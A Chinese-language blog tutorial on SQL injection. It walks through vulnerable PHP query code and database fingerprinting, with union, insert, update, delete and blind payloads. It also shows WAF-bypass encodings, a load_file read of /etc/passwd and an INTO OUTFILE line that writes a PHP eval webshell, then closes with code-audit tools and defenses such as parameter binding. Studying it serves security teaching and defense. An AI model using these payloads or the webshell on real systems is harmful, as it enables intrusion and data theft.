SQL语言是实现数据库操作的一种编程语言,数据库解析器通过解析SQL实现对数据的增删改查等操作。目前主流数据库有MySQL、Oracle、MSSQL、Postgresql、MongoDB等等。Web架构采用脚本语言+数据库的形式构建服务,SQLi就出现在脚本语言逻辑处理中。而SQLi(SQL Injection)攻击已经延续了十多年之久,历年占据OWASP Top10榜首。SQLi在传统框架中出现的频率极为高,而现代形式Web框架从底层屏蔽了SQLi出现的可能性。

#SQL基础

SQL语言分为DDL、DML、DCL、TCL等,其中DML语言是目前使用最高的。
DDL语言(Data Definition Language)

  • create
  • alter
  • drop
  • truncate
  • comment
  • rename

DML语言(Data Manipulation Language)

  • select
  • insert
  • update
  • delete
  • merge
  • call
  • explain plan
  • lock table

DCL语言(Data control language)

  • grant
  • revoke

TCL语言(Transcation control language)

  • commit
  • savepoint
  • rollback
  • set transcation

由于权限的原因,SQLi常使用的DDL+DML对系统后端数据库操作。一个基础SQLi的产生是后端系统未对用户输入的数据进行过滤,使用户输入数据与业务SQL语句拼接,导致产生非法操作。

1
2
3
4
5
6
7
8
9
<?php
//业务逻辑
$name = $_GET['name'];
$id = $_GET['id'];
//字符型注入
$sql = "select * from user where username='{$name}'";
//数字型注入
$sql = "select * from user where id = '{$id}'";
?>

攻击Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
  http://127.0.0.1/index.php?name=admin';select @@version#
http://127.0.0.1/index.php?id=1;select @@version#
````

一、后端数据库种类毕竟多,需要识别数据库类型,依据不同数据库特性区分
* @@version变量
* 特定函数
- MySQL => last_insert_id()
- MSSQL => @@rowcount
- Oracle => BITAND(1,1)
* 字符串拼接处理不同
- MySQL/Postgresql => 空格拼接
- MSSQL => 加号拼接
- Oracle => ||符合拼接

二、Union/Order by特性获取列数
```php
//查询列表数目
index.php?id=12+select+NULL,NULL,NULL,...
//字符显示位
index.php?id=12+order+by+1
````
三、获取数据库表名
```php
MSSQL:
数据库名:master..sysdatabases
select name from master..sysdatabases;

MySQL:
数据库名:information_schema.schemata
表名:information_schema.tables
权限: information_schema.schema_privileges
表名:mysql.db(管理权限)
select SCHEMA_NAME from information_schema.schemata;
select TABLE_NAME from information_schema.tables;
select COLUMN_NAME from information_schema.columns where TABLE_NAME='xxx';

Oracle:
用户表: user_tables
表:all_tables
权限表: user_sys_privs

至此一个基础SQLi攻击过程完毕,在复杂的业务场景中,SQLi并不局限于select形式的注入,还有insert、update、delete等形式的注入场景。相对于select来说更为复杂,不可见、难操作。

INSERT注入的奇思妙想:

1
2
3
4
5
6
$sql = "insert into user(username, password)values('".$_GET[name]."', password('".$_GET['password']."'))";

//PAYLOAD
$name = 'x',(select @@version)--

//可控点插入特定SQL,常见于个人信息编写业务中

UPDATE注入的奇思妙想:

1
2
3
$sql = "update user set name='" .$_GET['name']. "' where id=1";

//本质与insert相同

DELETE注入的奇思妙想:

1
2
3
4
5
6
$sql = "delete from user where username='{$_GET['name']}'";

//PAYLOAD
name=admin'+union+select+if(current_user()='root', sleep(3), sleep(10));

//该类型注入测试繁琐

SQL注入还有一种盲注的场景,注入操作不会回显在页面中。通过SLEEP/BENCHMARK函数利用时间响应的不同推断注入结果。

#SQL编码

由于WAF(web application firewall)的出现,纯原生的SQLi Payload会被系统拦截,为了bypass waf就需要对SQL语句进行各种变形。

  • 大小写编码(目前无效果)
  • URLENCODE编码
  • 注释编码
  • 特定场景字符截断(宽字节注入)
  • ASCII码

示例:

```shell
#select @@version
index.php?id=1+uni//on+sel//ect+char(64)+char(64)+char(118)+char(101)+char(114)+char(115)+char(105)+char(110)+char(111)+char(110)#;

#/etc/passwd
index.php?id=1+union+select+load_file(0x2F6574632F706173737764)#

1
2
3
4
5
6
7
8
9
10
11

## #基于SQL攻击
大厂的SQLi场景基本复杂,需要通过HTTP/DNS/ICMP等等方式,将执行结果传送出来;或者利用数据库特定网络或文件函数写入webshell,进行反弹请求。
* OOB攻击(out of band)
* 特性函数写入文件
* 执行命令

示例:
```php
//写入shell
select '<?php eval($_REQUEST['c']);?>' into outfile '/var/www/shell.php';

#SQLi漏洞挖掘

挖掘SQLi漏洞分为黑盒模式和白盒模式,前者通过工具或手工不断测试,后者通过阅读业务代码分析具体代码逻辑。无论黑白盒模式,能发现问题方式都是好方式,如果业务代码较为复杂,需要借助半自动化工具辅助分析代码。

源码审计工具

  • rips
  • graudit
  • AppScan Source

rips审计工具目前已更新为商业版本,这里可以结合graduit工具辅助挖掘SQLi漏洞;代码审计的核心是根据编程语言特性函数(漏洞函数)及入口参数进行追溯分析。

#SQLi防御

SQLi漏洞发生原因在于输入参数与业务SQL结合导致安全风险,基础业务接受的参数多为数字型和字符型。如果参数为数字型参数,可采用intval()函数强制转换参数为整型。如果参数未字符型参数,通过参数绑定的形式规避风险。

常规防御方式:

  • intval()/addslashes()
  • PDO/MySQLi参数绑定
  • 正则过滤(不严谨)
  • 三方安全组件(taint/suhosin)
  • RASP机制(Runtime Application Self Protection)

传统型框架thinkphp/phpcms/dedecms/discuz等框架在SQL使用上较为混乱,现代型框架Laravel/yii/cakephp/symfony等框架在SQL上统一封装,底层多为PDO/MySQLi参数绑定,基本规避SQLi的风险。但是各大Web框架都支持原生SQL的写法,So。。。挖一挖总还会有的 :)

参考

  1. 《SQL注入与防御第二版》
  2. 《SQL学习指南第二版》
  3. silic注入指南(习科)
  4. MySQL OOB攻击

评论